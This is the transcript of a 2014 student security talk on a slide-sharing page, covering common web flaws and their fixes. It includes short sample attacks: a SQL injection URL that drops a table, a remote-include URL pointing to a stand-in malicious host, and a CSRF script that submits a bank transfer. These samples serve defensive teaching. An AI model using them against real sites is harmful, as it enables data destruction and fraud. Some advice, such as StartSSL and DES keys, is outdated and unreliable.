Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
RCOS Security Talk
Search
Kevin O'Connor
February 28, 2014
Programming
3
170
RCOS Security Talk
Basic overview of common vulnerabilities and best practices.
Kevin O'Connor
February 28, 2014
Tweet
Share
More Decks by Kevin O'Connor
See All by Kevin O'Connor
SD&D 101
kevinoconnor7
0
71
Other Decks in Programming
See All in Programming
LLM生成文章の精度評価自動化とプロンプトチューニングの効率化について
layerx
PRO
2
190
Enabling DevOps and Team Topologies Through Architecture: Architecting for Fast Flow
cer
PRO
0
340
ECS Service Connectのこれまでのアップデートと今後のRoadmapを見てみる
tkikuc
2
250
Outline View in SwiftUI
1024jp
1
330
よくできたテンプレート言語として TypeScript + JSX を利用する試み / Using TypeScript + JSX outside of Web Frontend #TSKaigiKansai
izumin5210
6
1.7k
Jakarta EE meets AI
ivargrimstad
0
130
Jakarta EE meets AI
ivargrimstad
0
670
as(型アサーション)を書く前にできること
marokanatani
10
2.7k
2024/11/8 関西Kaggler会 2024 #3 / Kaggle Kernel で Gemma 2 × vLLM を動かす。
kohecchi
5
930
Compose 1.7のTextFieldはPOBox Plusで日本語変換できない
tomoya0x00
0
190
ActiveSupport::Notifications supporting instrumentation of Rails apps with OpenTelemetry
ymtdzzz
1
250
レガシーシステムにどう立ち向かうか 複雑さと理想と現実/vs-legacy
suzukihoge
14
2.2k
Featured
See All Featured
実際に使うSQLの書き方 徹底解説 / pgcon21j-tutorial
soudai
169
50k
Principles of Awesome APIs and How to Build Them.
keavy
126
17k
Intergalactic Javascript Robots from Outer Space
tanoku
269
27k
10 Git Anti Patterns You Should be Aware of
lemiorhan
655
59k
Building Your Own Lightsaber
phodgson
103
6.1k
RailsConf & Balkan Ruby 2019: The Past, Present, and Future of Rails at GitHub
eileencodes
131
33k
What's new in Ruby 2.0
geeforr
343
31k
[RailsConf 2023 Opening Keynote] The Magic of Rails
eileencodes
28
9.1k
Writing Fast Ruby
sferik
627
61k
Ruby is Unlike a Banana
tanoku
97
11k
The Psychology of Web Performance [Beyond Tellerrand 2023]
tammyeverts
44
2.2k
Building Adaptive Systems
keathley
38
2.3k
Transcript
YOU SUCK at security
1. Your attackers are better
Do NOT ROLL YOUR OWN
None
1. Open-source 2. Audited 3. Active community
2. Security is hard
No. Seriously.
5,000 CVEs /yr
3. Dont trust input
<?php! $query = "SELECT * FROM users WHERE username='". "$_GET[’user']."'";
! $result = mysql_query($query);!
/derp.php?user=x’ DROP TABLE users;--!
/derp.php?user=x’ DROP TABLE users;--! http://xkcd.com/327/
<?php! $stmt = $dbh->prepare("SELECT FROM users WHERE username=?");! $stmt->execute(array($_GET['user']));! Use
Parameter Binding
<div><?php echo $row['username']; ?></div>! XSS. Inject javascript
<html>! <body>! "<form method="POST" action="/users/add">! " "<input type="text" name="username">! "
"<input type="password" name="password">! " "<input type="hidden" name="isAdmin" value="true">! " "<button type="submit">Create user</button>! "</form>! </body>! </html>! Unexpected Input. Sneaky DOM edit
<?php! include('header.php');! include($_GET['page']);! include('footer.php');! ! /index.php?page=http://sketchy.su/BadTime.php! Remote Include.
Sanitize all input
Blacklist Only use if you know all cases Less restrictive
on user
Whitelist Best security Very restrictive
Protip Markdown Google Caja
4. Protect your cookies
Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b! Bad Session
Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b; ! "HttpOnly; secure! GOOD Session Send over SSL
only HTTP access only Prevents XSS theft
5. No Outsiders
<iframe name="bank"></iframe>! <script>! "document.write('! " "<form ! " " action="https://MyBank.com/account/transfer"
! " " target="bank" ! " " method="POST" ! " " name="injected">! " " "<input type="text" name="amount" value="1000.00" />! " " "<input type="text" name="to" value="
[email protected]
" />! " "</form>! "');! "injected.submit();! </script>!
CSRF sucks
Block it. Require a unique token per request X-Frame-Options: Block
6. Encrypt everything
Too expensive? startssl.com
Self-sign Dev Environment openssl req -x509 -newkey des3:2048 -keyout key.pem
- out cert.pem -days XXX!
Verify All CERTS <?php! // cURL supports SSL verification! curl_setopt($ch,
CURLOPT_SSL_VERIFYPEER, true);! ! //File_get_contents does NOT! file_get_contents($url);!
Verify Servers Use server certs to verify servers to one
another
Harden SSL Disable SSL2 Disable TLS1.0 compression Disable weak ciphers
(DES, RC4) h"p://blog.cloudflare.com/staying-‐on-‐top-‐of-‐tls-‐a"acks
Force SSL
7. Use Slow Hashes
No Plaintext Passwords Just don’t.
Hash + Salt MD5 SHA1 … HMAC + bcrypt
Wait. Explain. We want to be slow.
Method password = bcrypt(HMAC(password, local_salt), bcrypt_salt)!
Salt-free db Store salt on file system Two attacks needed
Or both
Migrate. Maintain two hashes Rehash on successful login Purge old
hashes after x duration
Lost Passwords Hash a one-time login ID
8. Remember the basics
Random IV Having the IV be public is okay
Wait for entropy /dev/random waits /dev/urandom non-blocking
Use ECC NSA-Proof * * As far as we know,
at least…
Passwordless Login Use keypairs for server access
9. Use libraries
Crypto NaCL SJCL Crypto++ QCA
Web Frameworks Python: Django, Flask PHP: Laravel, Phalcon Go: Revel
Node: Sails Java/Scala: Play Ruby: Rails
Assume nothing Always research security best practices
Questions? Complaints?
Im hiring Sysadmin.union.rpi.edu/apply